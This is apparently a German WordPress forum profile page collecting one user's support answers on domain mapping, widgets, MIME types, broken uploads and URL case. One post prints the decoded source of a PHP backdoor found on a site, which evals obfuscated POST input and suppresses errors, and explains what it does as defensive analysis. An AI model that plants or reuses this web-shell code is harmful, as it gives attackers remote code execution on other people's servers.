Beiträge von codestyling

    Ob nun Sub-Dir oder Sub-Domain ist für Domainmapping nicht relevant.
    Am Beispiel dessen, was du machen möchtest, würde das in etwa so aussehen:

    Hauptdomain: xyz.de
    1. Sub-Domain: sub1.xyz.de anlegen
    2. Sub-Domain: sub2.xyz.de anlegen

    Domainmapping nach Beschreibung einrichten.

    Danach als Site Admin unter Domainmapping die zu mappended Domain als Primärdomain des entsprechenden Sub-Domain zuweisen.
    Die zu mappended Domain ebenfalls auf die xyz.de Hauptdomains verweisen lassen.

    Danach sollte die Sub-Domain über die gemappte Domain benutzbar sein.

    Ich hab das bei mir als must-use Plugin im Order /wp-content/mu-plugins/ als protect-posts-by-session-cookies.php liegen mit folgendem Inhalt:

    Sollte mit Wordpress >= 3.4 (bei mir mit 3.5 im Einsatz) funktionieren.
    Damit wird das post password zum Session Cookie und ist mit dem Schliessen des Browsers wieder weg.

    Decodiert heißt das dann:

    Code
    @error_reporting(0); 
    @ini_set("display_errors",0); 
    @ini_set("log_errors",0); 
    @ini_set("error_log",0);
    if (isset($_GET['r'])) {
        print $_GET['r']; 
    } elseif (isset($_POST['e'])) {
        eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); 
    } exit;

    Ein brauchbarer Decoder ist: http://www.mobilefish.com/services/eval_…late_base64.php

    Es werden 2 Input Parameter interpretiert:

    GET Aufruf: Parameter 'r' (vermutlich ein Test, ob das hier installiert ist)
    POST Aufruf: Parameter 'e', der weiteren codierten Inhalt bekommt, der ausgepackt und ausgeführt wird.

    Also ein Backdoor.

    Rechts oben auf der Widgets Seite gibt es den Reiter "Optionen". Wenn du dort draufklickst, bekommst du den Zugriff auf den "Zugänglichkeitsmodus". Wenn dieser eingeschaltet ist, dann gibt es kein Drag 'n Drop sondern nur Hinzufügen, also alles ganz ohne Javascript. Diesem Modus kannst du mit dem dort angezeigten Link ein- und ausschalten.

    Sobald der Modus aus ist, geht auch wieder Drag 'n Drop.

    Code
    [COLOR=#000000][COLOR=#0000BB]$default_charset[/COLOR][COLOR=#007700]=[/COLOR][COLOR=#DD0000]"Windows-1251"[/COLOR][COLOR=#007700][/COLOR][/COLOR]


    Das weißt darauf hin, dass die Angriffe aus dem russisch sprachigen Raum kommen, denn dieser Charset ist kyrillisch. Wenn möglich und du auf den russischsprachigen Sektor verzichten kannst, würde ich die passenden IP Ranges in der .htaccess sperren.

    Muß nicht zwangsläufig memory_limit sein, auch wenn das sehr verdächtig bei Multisite Installation danach aussieht.

    Wenn PHP >= 5.4 ist, der Provider STRICT Errormeldungen nicht wegkonfiguriert hat und bbeim ersten Auftreten eines PHP Errors abbricht, dann produzieren die Sprachdateien einen STRICT Error.
    Der WordPress core hat ein STRICT Problem beim Laden von Sprachdateien und seit PHP 4.5 ist STRICT standardmäßig an.
    Dieses Problem hatt ich schon in "real live" Systemen und konnte das nur durch eine Ergänzung in der wp-config.php unterbinden:

    Code
    error_reporting( 0 );

    Laut REST Client Anfrage sendet dein Server die Datei mit dem falschen Mime-Type raus:

    Code
    text/plain


    Es müsste aber mit dem Mime-Type:

    Code
    video/webm


    gesendet werden.

    Entweder hat dein Provider das nicht in der Mimetype Liste und du musst es per .htaccess Datei deinem Webspace beibringen:

    Code
    AddType video/webm .webm

    oder du versuchst es erstmal mit einer klein geschriebenen Endung in der Hoffnung, dass dein Provider das mit der regulären, klein geschriebenen Endung richtig ausliefert.

    Firefox spielt die nicht ab, wenn sie mit dem falschen Mime-Type ankommen!

    Wenn das die Datei im Verzeichnis /wp-admin/admin.php sein soll, dann ist die überschrieben worden mit der Datei aus /wp-admin/user/admin.php und somit falsch.
    Kann es sein, das beim Aufspielen von WordPress keine Unterverzeichnisse unter /wp-admin/ angelegt wurden?
    Entweder hast das Entpacken alles in einen Ordner entpackt, du hast das per FTP ohne Ordneranlage hochladen lassen oder es ist sonst irgendwie kaputt gegangen.

    Nimm Filezilla FTP Client, verbinde dich mit deinem Server, lösche die Ordner /wp-admin/ und /wp-include/ und lade beide wieder per FTP aus einem zuvor auf deinen Rechner entpackten WordPress3.5.1 zip hoch.

    Mir sind Probleme bekannt, wenn man URL's oder Server-Pfadangaben auf Unix-Servern mit Capitalized Letters benutzt, wie die es ja offensichlich machst:

    Code
    [URL]http://www.Gitarre-und-Laute.de[/URL].


    Sollten deine Ordner auf dem Server auch mit Groß- und Kleinschrebung sein, gibt es manchmal Probleme bei Uploads oder Updates, weil die entsprechenden Funktionen u.U. mit lowercased Pfaden oder URL's arbeiten, was dann zum Fehler führt.

    Auch st mir bekannt, das Webkit bzw. Opera unter solchen Umständen json basierte Anfragen ablehnt, weil es die Groß-/Kleinschreibung als Verstoß gegen die "same origin policy" versteht.

    Wenn möglich, teste das mal mit verschiedenen Browsern. Ich würde URL's und Pfade grundsätzlich nur lowercase benutzen, damit ist das minimalste Risiko verbunden und man muß nicht nach Gespenstern im code suchen.

    Ich habe noch keinen Ruf hier da ich bislang weder Aufträge hier ausgeführt habe noch irgendwelche Kontakte hatte, ausser natürlich mit den Herren, die hier Langeweile habe und irgendwelche Gerüchte in die Welr setzen.

    Dazu kann ich nix sagen, aber die Angebote zum WebHosting auf der verlinkten Seite sind noch nicht mal in der Lage, in der Selectbox das richtige Encoding zu benutzen:

    Code
    <select name="id[221]"><option value="230">Domain(s) sp�ter w�hlen</option>


    ... das weckt großes Vertrauen in mögliche Auftragsergebnisse, wenn die Providerseite selbst Mängel hat ...